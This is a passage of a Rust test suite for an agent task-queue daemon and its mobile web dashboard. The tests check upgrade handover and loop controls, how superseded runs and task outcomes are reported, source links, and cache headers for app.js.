19758 successor.stop_loop(None, false).expect("stop");
19759 }
19760
19761 #[tokio::test]
19762 async fn a_second_upgrade_request_keeps_the_resume_intent() {
19763 let home = TempDir::new().expect("temp home");
19764 let ui = idle_ui(&home);
19765 ui.start_loop(None).expect("start");
19766 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19767 .expect("first park");
19768 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
19769 .expect("second park");
19770 assert!(handed_over(&home, ui).await);
19771 }
19772
19773 #[tokio::test]
19774 async fn a_stop_during_the_handover_wait_is_honoured() {
19775 let home = TempDir::new().expect("temp home");
19776 let ui = idle_ui(&home);
19777 ui.start_loop(None).expect("start");
19778 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19779 ui.stop_loop(None, false).expect("stop");
19780 assert!(!handed_over(&home, ui).await);
19781 }
19782
19783 #[tokio::test]
19784 async fn an_idle_loop_stays_stopped_across_the_handover() {
19785 let home = TempDir::new().expect("temp home");
19786 let ui = idle_ui(&home);
19787 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19788 assert!(!handed_over(&home, ui).await);
19789
19790 let successor = idle_ui(&home);
19791 assert!(!successor.resume_after_handover(false));
19792 assert!(!successor.loop_view(None).running);
19793 }
19794
19795 #[tokio::test]
19796 async fn a_loop_the_operator_stopped_is_not_resumed() {
19797 let home = TempDir::new().expect("temp home");
19798 let ui = idle_ui(&home);
19799 ui.start_loop(None).expect("start");
19800 ui.stop_loop(None, false).expect("stop");
19801 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
19802 assert!(!handed_over(&home, ui).await);
19803 }
19804
19805 #[test]
19806 fn only_an_explicit_one_requests_a_resume() {
19807 assert!(!resume_requested(None));
19808 assert!(!resume_requested(Some("0".into())));
19809 assert!(!resume_requested(Some("".into())));
19810 assert!(resume_requested(Some("1".into())));
19811 }
19812
19813 #[test]
19814 fn the_upgrade_button_arms_before_it_restarts_anything() {
19815 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
19818 assert!(APP_JS.contains("Replace the binary and restart?"));
19819 assert!(APP_JS.contains("function confirmed("));
19820 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
19825 assert!(
19829 APP_JS.contains("Parking, then restarting"),
19830 "the button says what it is waiting for"
19831 );
19832 assert!(APP_JS.contains("if (!out.to)"));
19835 }
19836
19837 #[test]
19838 fn stopping_the_loop_arms_but_starting_does_not() {
19839 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
19842 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
19843 assert!(APP_JS.contains("confirmed(button, question)"));
19844 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
19847 assert!(APP_JS.contains("const label = btn.textContent;"));
19848 assert!(!APP_JS.contains("Neither direction is guarded"));
19849 }
19850
19851 #[test]
19852 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
19853 assert!(
19854 APP_JS.contains("state.health.version"),
19855 "the operator wants to know what is running even with nothing newer"
19856 );
19857 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
19858 }
19859
19860 #[test]
19861 fn the_upgrade_button_names_its_destination() {
19862 assert!(
19863 APP_JS.contains("`Update to ${update.to}`"),
19864 "pressing the button should not be a surprise about what it moves to"
19865 );
19866 }
19867
19868 #[test]
19869 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
19870 for stage in ["downloading", "replaced", "parking", "restarting"] {
19871 assert!(
19872 APP_JS.contains(&format!("\"{stage}\"")),
19873 "the phone must be able to tell {stage} apart from the others"
19874 );
19875 }
19876 assert!(APP_JS.contains(".waiting_on"));
19877 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
19882 assert!(APP_JS.contains("reconnects on its own"));
19883 }
19884
19885 #[test]
19886 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
19887 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
19896 ..APP_JS.find("function upgrade(").expect("upgrade")];
19897 assert!(
19898 !body.contains(
19899 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
19900 ),
19901 "a failed upgrade must not take the whole strip over the way it used to"
19902 );
19903 assert!(
19904 body.contains("upgradeFailNote"),
19905 "the failure has to reach the loop's own note instead"
19906 );
19907 assert_eq!(
19911 body.matches("upgradeFailNote].filter(Boolean).join")
19912 .count(),
19913 2,
19914 "both loop-why writers (quiet and control) must fold the note in"
19915 );
19916 }
19917
19918 #[test]
19919 fn an_overdue_upgrade_eventually_asks_for_a_human() {
19920 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
19923 assert!(APP_JS.contains("function upgradeOverdue("));
19924 }
19925
19926 #[test]
19927 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
19928 assert!(
19929 APP_JS.contains("Updated to ${upgradeInfo.to"),
19930 "the operator who asked for the restart wants to know it worked"
19931 );
19932 }
19933
19934 #[test]
19935 fn an_error_is_visible_from_where_the_button_is() {
19936 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
19941 ..APP_CSS.find(".alert-text").expect(".alert-text")];
19942 assert!(
19943 alert.contains("position: fixed"),
19944 "an error about the thing under your thumb has to be visible from \
19945 where your thumb is: {alert}"
19946 );
19947 assert!(
19948 alert.contains("z-index: 25"),
19949 "above the dock (20) and the run-actions FAB (15), so neither \
19950 buries it: {alert}"
19951 );
19952 assert!(
19953 alert.contains("var(--tap)"),
19954 "and clear of the dock and the home indicator: {alert}"
19955 );
19956 assert!(
19959 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
19960 "the FAB's column stays free: {alert}"
19961 );
19962 }
19963
19964 #[tokio::test]
19965 async fn an_older_attempt_says_what_replaced_it() {
19966 let fx = Fixture::start().await;
19967 let q = fx.queue();
19968 let runs = fx.runs();
19969 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19970 write_run(&runs, first, RunStatus::Stalled);
19971 write_run(&runs, second, RunStatus::Blocked);
19972
19973 let mut t = Task::new(
19974 "one task".to_owned(),
19975 "do it".to_owned(),
19976 PathBuf::from("/repo"),
19977 Source::Human,
19978 );
19979 t.runs = vec![first.to_owned(), second.to_owned()];
19980 q.put(&mut t).expect("put");
19981
19982 let rows = fx.get("/api/runs").await.json();
19986 let by = |short: &str| -> Value {
19987 rows.as_array()
19988 .unwrap()
19989 .iter()
19990 .find(|r| r["short"] == short)
19991 .cloned()
19992 .unwrap_or(Value::Null)
19993 };
19994 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
19995 assert!(
19996 by("bbbb")["superseded_by"].is_null(),
19997 "the latest attempt is not superseded by anything"
19998 );
19999 assert!(APP_JS.contains("run.superseded_by"));
20001 assert!(APP_JS.contains("Superseded by"));
20002 }
20003
20004 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
20005 let mut t = Task::new(
20006 "one task".to_owned(),
20007 "do it".to_owned(),
20008 PathBuf::from("/repo"),
20009 Source::Human,
20010 );
20011 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
20012 t.status = status;
20013 t
20014 }
20015
20016 #[test]
20017 fn source_link_picks_the_page_that_filed_the_task() {
20018 let agent = |node: &str| Source::Agent {
20019 run: "20260904-014455-ab12".to_owned(),
20020 node: node.to_owned(),
20021 };
20022 let chat = source_link(&agent("chat")).expect("chat link");
20023 assert_eq!(chat.kind, "chat");
20024 assert_eq!(chat.id, "20260904-014455-ab12");
20025 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
20026 let run = source_link(&agent("implement")).expect("run link");
20027 assert_eq!(
20028 (run.kind, run.href.as_str()),
20029 ("run", "#/runs/20260904-014455-ab12")
20030 );
20031 assert_eq!(source_link(&Source::Human), None);
20032 assert_eq!(
20033 source_link(&Source::Issue {
20034 number: 3,
20035 repo: "o/r".to_owned()
20036 }),
20037 None
20038 );
20039 let odd = source_link(&Source::Agent {
20040 run: "a b/c".to_owned(),
20041 node: "chat".to_owned(),
20042 })
20043 .expect("link");
20044 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
20045 }
20046
20047 #[test]
20048 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
20049 assert!(
20050 !APP_JS.contains("src.node === \"chat\""),
20051 "inline href rule is back"
20052 );
20053 assert!(
20054 APP_JS.matches("sourceLinkOf(").count() >= 4,
20055 "helper must serve every page"
20056 );
20057 assert!(
20058 APP_JS.matches("openChatLink(").count() >= 3,
20059 "the run page still needs its explicit chat link"
20060 );
20061 assert!(
20062 !APP_JS.contains("const openChat = el("),
20063 "the Queue card duplicates its source label link again"
20064 );
20065 assert!(
20066 APP_JS.contains("metaKids.push(link ? el(\"a\""),
20067 "the task page must link a chat source label too"
20068 );
20069 }
20070
20071 #[test]
20072 fn task_ref_carries_the_source_link_for_a_chat_task() {
20073 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20074 t.source = Source::Agent {
20075 run: "20260904-014455-ab12".to_owned(),
20076 node: "chat".to_owned(),
20077 };
20078 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
20079 let v = serde_json::to_value(&out).expect("json");
20080 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
20081 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
20082 assert_eq!(v["source_label"], t.source.label());
20083
20084 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20085 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
20086 .expect("json");
20087 assert!(v["source_link"].is_null(), "{v}");
20088 }
20089
20090 #[test]
20091 fn task_view_serializes_source_link() {
20092 let mut t = Task::new(
20093 "t".to_owned(),
20094 "t".to_owned(),
20095 PathBuf::from("/repo"),
20096 Source::Agent {
20097 run: "20260901-000000-aaaa".to_owned(),
20098 node: "implement".to_owned(),
20099 },
20100 );
20101 t.runs.clear();
20102 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20103 assert_eq!(v["source_link"]["kind"], "run", "{v}");
20104 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
20105 }
20106
20107 #[test]
20108 fn task_view_serializes_urgent_flag() {
20109 let mut t = Task::new(
20110 "t".to_owned(),
20111 "t".to_owned(),
20112 PathBuf::from("/repo"),
20113 Source::Human,
20114 );
20115 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
20116 assert_eq!(v["urgent"], false, "{v}");
20117 t.urgent = true;
20118 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20119 assert_eq!(v["urgent"], true, "{v}");
20120 assert!(APP_JS.contains("task.urgent === true"));
20121 }
20122
20123 #[tokio::test]
20124 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
20125 let fx = Fixture::start().await;
20126 let runs = fx.runs();
20127 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20128 write_run(&runs, old, RunStatus::Blocked);
20129 write_run(&runs, new, RunStatus::Merged);
20130 let mut t = outcome_task(&[old, new], TaskStatus::Done);
20131 fx.queue().put(&mut t).expect("put");
20132
20133 let view = fx.get(&format!("/api/runs/{old}")).await.json();
20134 let task = &view["task"];
20135 assert_eq!(task["status"], "done");
20136 assert_eq!(task["is_latest"], false);
20137 assert_eq!(task["latest"]["short"], "bbbb");
20138 assert_eq!(task["finished_by"]["id"], new);
20139 assert_eq!(task["finished_by"]["outcome"], "merged");
20140 assert_eq!(task["closed_by_hand"], false);
20141 assert_eq!(view["status"], "blocked", "the run keeps its own status");
20142 assert!(APP_JS.contains("finished_by"));
20143 assert!(APP_JS.contains("superseded by run"));
20144 }
20145
20146 #[tokio::test]
20147 async fn the_latest_run_reports_a_held_task_without_a_successor() {
20148 let fx = Fixture::start().await;
20149 let runs = fx.runs();
20150 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20151 write_run(&runs, old, RunStatus::Stalled);
20152 write_run(&runs, new, RunStatus::Blocked);
20153 let mut t = outcome_task(&[old, new], TaskStatus::Held);
20154 fx.queue().put(&mut t).expect("put");
20155
20156 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
20157 assert_eq!(task["status"], "held");
20158 assert_eq!(task["is_latest"], true);
20159 assert!(task["latest"].is_null());
20160 assert!(task["finished_by"].is_null());
20161 assert_eq!(task["closed_by_hand"], false);
20162 }
20163
20164 #[tokio::test]
20165 async fn a_direct_run_has_no_task_outcome() {
20166 let fx = Fixture::start().await;
20167 let runs = fx.runs();
20168 let id = "20260901-000000-aaaa";
20169 write_run(&runs, id, RunStatus::Blocked);
20170 let view = fx.get(&format!("/api/runs/{id}")).await.json();
20171 assert!(view["task"].is_null());
20172 }
20173
20174 #[test]
20175 fn task_outcome_does_not_guess_a_finishing_run() {
20176 let a = "20260901-000000-aaaa";
20177 let b = "20260901-000000-bbbb";
20178 let c = "20260901-000000-cccc";
20179 let dir = tempfile::tempdir().expect("tempdir");
20180 write_run(dir.path(), a, RunStatus::Blocked);
20181 write_run(dir.path(), b, RunStatus::VerifiedNoop);
20182 let read = |id: &str| read_run(dir.path(), id).ok();
20184 let t = outcome_task(&[a, b, c], TaskStatus::Done);
20187 let out = task_outcome(&t, a, 3, read);
20188 assert!(out.finished_by.is_none());
20189 assert!(out.closed_by_hand);
20190 let latest = out.latest.expect("latest");
20191 assert_eq!(latest.id, c);
20192 assert_eq!(latest.status, None);
20193 assert_eq!(latest.outcome, "record unreadable");
20194
20195 write_run(dir.path(), c, RunStatus::Ready);
20197 let t = outcome_task(&[a, c], TaskStatus::Done);
20198 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
20199 assert_eq!(out.finished_by.expect("finisher").id, c);
20200 assert!(!out.closed_by_hand);
20201
20202 let t = outcome_task(&[a, b, a], TaskStatus::Held);
20204 assert!(task_outcome(&t, a, 3, read).is_latest);
20205 }
20206
20207 #[tokio::test]
20208 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
20209 let fx = Fixture::start().await;
20214 let q = fx.queue();
20215 let runs = fx.runs();
20216 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
20217 write_run(&runs, first, RunStatus::Blocked);
20218 write_run(&runs, second, RunStatus::Merged);
20219
20220 let mut t = Task::new(
20221 "one task".to_owned(),
20222 "do it".to_owned(),
20223 PathBuf::from("/repo"),
20224 Source::Human,
20225 );
20226 t.runs = vec![first.to_owned(), second.to_owned()];
20227 q.put(&mut t).expect("put");
20228
20229 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
20230 assert_eq!(earlier["superseded_by"], "dddd");
20231 assert_eq!(earlier["latest_attempt"]["id"], second);
20232 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
20233 assert_eq!(
20234 earlier["latest_attempt"]["resolved"], true,
20235 "the run that replaced it landed, so this one reads as settled"
20236 );
20237
20238 let later = fx.get(&format!("/api/runs/{second}")).await.json();
20239 assert!(
20240 later["superseded_by"].is_null(),
20241 "the latest attempt is not superseded by anything"
20242 );
20243 assert!(
20244 later["latest_attempt"].is_null(),
20245 "the latest attempt has no later attempt of its own"
20246 );
20247
20248 assert!(APP_JS.contains("run.latest_attempt"));
20255 assert!(APP_JS.contains("data-superseded"));
20256 assert!(APP_JS.contains("#/runs/${latest.id}"));
20257 }
20258
20259 #[tokio::test]
20260 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
20261 let fx = Fixture::start().await;
20267 let q = fx.queue();
20268 let runs = fx.runs();
20269 let (a, b, c) = (
20270 "20260901-000000-aaaa",
20271 "20260901-000000-bbbb",
20272 "20260901-000000-cccc",
20273 );
20274 write_run(&runs, a, RunStatus::Blocked);
20275 write_run(&runs, b, RunStatus::Blocked);
20276 write_run(&runs, c, RunStatus::Merged);
20277
20278 let mut t = Task::new(
20279 "retried twice".to_owned(),
20280 "do it".to_owned(),
20281 PathBuf::from("/repo"),
20282 Source::Human,
20283 );
20284 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
20285 q.put(&mut t).expect("put");
20286
20287 let view = fx.get(&format!("/api/runs/{a}")).await.json();
20288 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
20289 assert_eq!(
20290 view["latest_attempt"]["id"], c,
20291 "the chain's current head, not the intermediate Blocked retry"
20292 );
20293 assert_eq!(view["latest_attempt"]["resolved"], true);
20294
20295 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
20296 assert_eq!(mid["latest_attempt"]["id"], c);
20297 assert_eq!(mid["latest_attempt"]["resolved"], true);
20298 }
20299
20300 #[tokio::test]
20301 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
20302 let fx = Fixture::start().await;
20303 let q = fx.queue();
20304 let runs = fx.runs();
20305
20306 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
20309 write_run(&runs, still_blocked_a, RunStatus::Blocked);
20310 write_run(&runs, still_blocked_b, RunStatus::Blocked);
20311 let mut t1 = Task::new(
20312 "still stuck".to_owned(),
20313 "do it".to_owned(),
20314 PathBuf::from("/repo"),
20315 Source::Human,
20316 );
20317 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
20318 q.put(&mut t1).expect("put");
20319 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
20320 assert_eq!(view1["latest_attempt"]["resolved"], false);
20321 assert_eq!(view1["latest_attempt"]["status"], "blocked");
20322 assert_eq!(view1["latest_attempt"]["done"], true);
20323
20324 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
20326 write_run(&runs, run_a, RunStatus::Blocked);
20327 write_run(&runs, run_b, RunStatus::Implementing);
20328 let mut t3 = Task::new(
20329 "retrying".to_owned(),
20330 "do it".to_owned(),
20331 PathBuf::from("/repo"),
20332 Source::Human,
20333 );
20334 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
20335 q.put(&mut t3).expect("put");
20336 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
20337 assert_eq!(view3["latest_attempt"]["id"], run_b);
20338 assert_eq!(view3["latest_attempt"]["resolved"], false);
20339 assert_eq!(view3["latest_attempt"]["done"], false);
20340
20341 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
20346 write_run(&runs, noop_a, RunStatus::Blocked);
20347 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
20348 let mut t2 = Task::new(
20349 "claims done".to_owned(),
20350 "do it".to_owned(),
20351 PathBuf::from("/repo"),
20352 Source::Human,
20353 );
20354 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
20355 q.put(&mut t2).expect("put");
20356 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
20357 assert_eq!(
20358 view2["latest_attempt"]["resolved"], false,
20359 "an unverified no-op claim must not read as a confirmed finish"
20360 );
20361
20362 assert!(APP_JS.contains("latest.resolved"));
20365 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
20368 assert!(APP_JS.contains("Latest attempt: "));
20369 assert!(APP_JS.contains("in flight"));
20370 assert!(APP_JS.contains("not resolved"));
20371 }
20372
20373 #[tokio::test]
20374 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
20375 let fx = Fixture::start().await;
20376 let js = fx.get("/app.js").await;
20382 assert_eq!(js.status, 200);
20383 let tag = js
20384 .header("etag")
20385 .expect("an etag to revalidate against")
20386 .to_owned();
20387 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
20388 assert_eq!(
20389 js.header("cache-control"),
20390 Some("no-cache, must-revalidate"),
20391 "the phone has to ask every time"
20392 );
20393
20394 let again = fx
20397 .get_with("/app.js", &[("if-none-match", tag.as_str())])
20398 .await;
20399 assert_eq!(
20400 again.status, 304,
20401 "a deck it already has costs one round trip"
20402 );
20403 assert!(again.body.is_empty(), "304 carries no body");
20404
20405 let weak = fx
20408 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
20409 .await;
20410 assert_eq!(weak.status, 304);
20411 let stale = fx
20412 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
20413 .await;
20414 assert_eq!(stale.status, 200, "an older build must be replaced");
20415 assert!(stale.body.contains("renderRunActions"));
20416 }
20417
20418 #[test]
20419 fn the_task_detail_has_an_actions_fab_and_sheet() {
20420 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
20421 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
20422 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
20423 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
20425 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
20426 assert!(APP_JS.contains("renderTaskActions(task);"));
20428 assert!(APP_JS.contains("renderTaskActions(null);"));
20429 let sheet = APP_JS
20431 .find("function renderTaskActions")
20432 .expect("sheet renderer");
20433 let body = &APP_JS[sheet..sheet + 3000];
20434 assert!(body.contains("changePriority("));
20435 assert!(body.contains("openTaskEdit(task)"));
20436 assert!(body.contains("renderTaskHoldBox(host"));
20437 assert!(body.contains("renderTaskDoneBox(host"));
20438 assert!(body.contains("renderTaskDeleteBox(host"));
20439 assert!(APP_JS.contains("API.priority(id)"));
20440 assert!(APP_JS.contains("API.deleteTask(id)"));
20441 assert!(APP_JS.contains("location.hash = \"#/queue\""));
20443 assert!(APP_JS.contains("$(\"task-actions-error\")"));
20445 }
20446
20447 #[test]
20448 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
20449 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
20450 let actions = INDEX_HTML
20451 .find("id=\"run-actions-box\"")
20452 .expect("actions box");
20453 assert!(task < actions, "the task entry comes first in the sheet");
20454 assert!(APP_JS.contains("renderRunTaskEntry"));
20455 assert!(APP_JS.contains("\"Open task \""));
20456 assert!(APP_JS.contains("started directly, no task"));
20458 assert!(APP_JS.contains("sheet-task-link"));
20459 assert!(APP_JS.contains("task-chip-link"));
20460 }
20461
20462 #[test]
20463 fn the_deck_never_sends_the_operator_to_a_terminal() {
20464 assert!(
20467 !APP_JS.contains("Run `magi fold` first"),
20468 "the deck must offer the fold, not prescribe a shell command"
20469 );
20470 assert!(APP_JS.contains("foldRun:"));
20471 assert!(APP_JS.contains("resumeRun:"));
20472 assert!(APP_JS.contains("renderRunActions"));
20473
20474 assert!(APP_JS.contains("armedFold"));
20476 assert!(APP_JS.contains("Yes, fold worktrees"));
20477
20478 assert!(APP_JS.contains("can no longer be resumed"));
20481 }
20482
20483 #[test]
20484 fn a_finished_run_explains_itself_with_its_own_last_line() {
20485 assert!(
20491 !APP_JS.contains("collapsed on agent quota"),
20492 "a stall must not be explained by a cause the deck did not check"
20493 );
20494 assert!(
20495 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
20496 "and a block must not offer a guess with an `or` in it"
20497 );
20498
20499 assert!(
20503 APP_JS.contains("setText(r.event, run.event || \"\")"),
20504 "the run's last line is rendered unconditionally"
20505 );
20506 assert!(
20507 !APP_JS.contains("moving && run.event"),
20508 "and never gated on the run still moving"
20509 );
20510
20511 assert!(APP_JS.contains("lost to quota"));
20513 }
20514
20515 #[test]
20537 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
20538 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
20539 let shapes_body_start =
20540 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
20541 let shapes_close = APP_JS[shapes_body_start..]
20542 .find("].map(")
20543 .expect("the shape list is closed by its done-computing .map(...)")
20544 + shapes_body_start;
20545 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
20546
20547 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
20548 for entry in shapes_src.split('{').skip(1) {
20549 let waiting = entry.contains("waiting: true");
20550 let dead = entry.contains("live: \"dead\"");
20551 let status_at =
20552 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
20553 let status_end = entry[status_at..]
20554 .find('"')
20555 .expect("the status string is closed")
20556 + status_at;
20557 let parked = entry.contains("display_status: \"parked\"");
20558 shapes.push((
20559 waiting,
20560 entry[status_at..status_end].to_string(),
20561 dead,
20562 parked,
20563 ));
20564 }
20565 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
20566
20567 let done_rule_marker = "done: !";
20571 let done_rule_at = APP_JS[shapes_close..]
20572 .find(done_rule_marker)
20573 .expect("the done rule follows the shape list")
20574 + shapes_close
20575 + done_rule_marker.len();
20576 let includes_at = APP_JS[done_rule_at..]
20577 .find(".includes(shape.status)")
20578 .expect("the done rule ends in .includes(shape.status)")
20579 + done_rule_at;
20580 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
20581 .trim()
20582 .trim_start_matches('[')
20583 .trim_end_matches(']')
20584 .split(',')
20585 .map(|s| s.trim().trim_matches('"'))
20586 .filter(|s| !s.is_empty())
20587 .collect();
20588
20589 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
20590 .into_iter()
20591 .map(|(waiting, status, dead, parked)| {
20592 let done = !not_done.contains(&status.as_str());
20593 (waiting, status, dead, parked, done)
20594 })
20595 .collect();
20596
20597 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
20601 if waiting {
20602 return "waiting";
20603 }
20604 if dead
20605 && !parked
20606 && !matches!(
20607 status,
20608 "merged"
20609 | "ready"
20610 | "stalled"
20611 | "blocked"
20612 | "failed"
20613 | "verified_noop"
20614 | "superseded"
20615 | "already_in_base"
20616 )
20617 {
20618 return "stale";
20619 }
20620 match status {
20621 "merged" | "ready" => "landed",
20622 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
20623 | "already_in_base" => "ended",
20624 _ => "flight",
20625 }
20626 }
20627
20628 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
20631 match filter_key {
20632 "active" => !done,
20633 "flight" => !done && !waiting && !dead,
20634 "stale" => !done && !waiting && dead,
20635 "waiting" => waiting,
20636 "done" => done,
20637 "all" => true,
20638 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
20639 }
20640 }
20641
20642 let compatible = |section: &str, filter_key: &str| {
20643 shapes.iter().any(|(waiting, status, dead, parked, done)| {
20644 run_section(*waiting, status, *dead, *parked) == section
20645 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
20646 })
20647 };
20648
20649 let expected = [
20654 ("waiting", [true, false, false, true, true, true]),
20655 ("stale", [true, false, true, false, false, true]),
20656 ("flight", [true, true, false, false, false, true]),
20657 ("landed", [false, false, false, false, true, true]),
20658 ("ended", [false, false, false, false, true, true]),
20659 ];
20660 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
20661
20662 for (section, wants) in expected {
20663 for (filter_key, want) in filter_keys.iter().zip(wants) {
20664 assert_eq!(
20665 compatible(section, filter_key),
20666 want,
20667 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
20668 );
20669 }
20670 }
20671
20672 assert!(
20675 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
20676 );
20677 assert!(APP_JS.contains(
20678 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
20679 ));
20680 assert!(APP_JS.contains(
20681 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
20682 ));
20683 }
20684
20685 #[tokio::test]
20686 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
20687 let dir = tempfile::tempdir().expect("tempdir");
20691 let explicit = dir.path().join("not-a-checkout");
20692 std::fs::create_dir_all(&explicit).expect("create dir");
20693 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
20694
20695 let missing = dir.path().join("does-not-exist-at-all");
20696 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
20697 }
20698
20699 #[test]
20700 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
20701 assert!(APP_JS.contains("function statsDonutArcs"));
20702 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
20703 assert!(APP_JS.contains("function statusInBucket"));
20705 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
20706 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
20707 let buckets = [
20708 "merged",
20709 "ready",
20710 "in_progress",
20711 "blocked",
20712 "failed",
20713 "verified_noop",
20714 "superseded",
20715 "stalled",
20716 ];
20717 for key in buckets {
20718 let var = format!("--verdict-{key}:");
20719 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
20721 assert!(
20722 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
20723 "{key}"
20724 );
20725 }
20726 }
20727}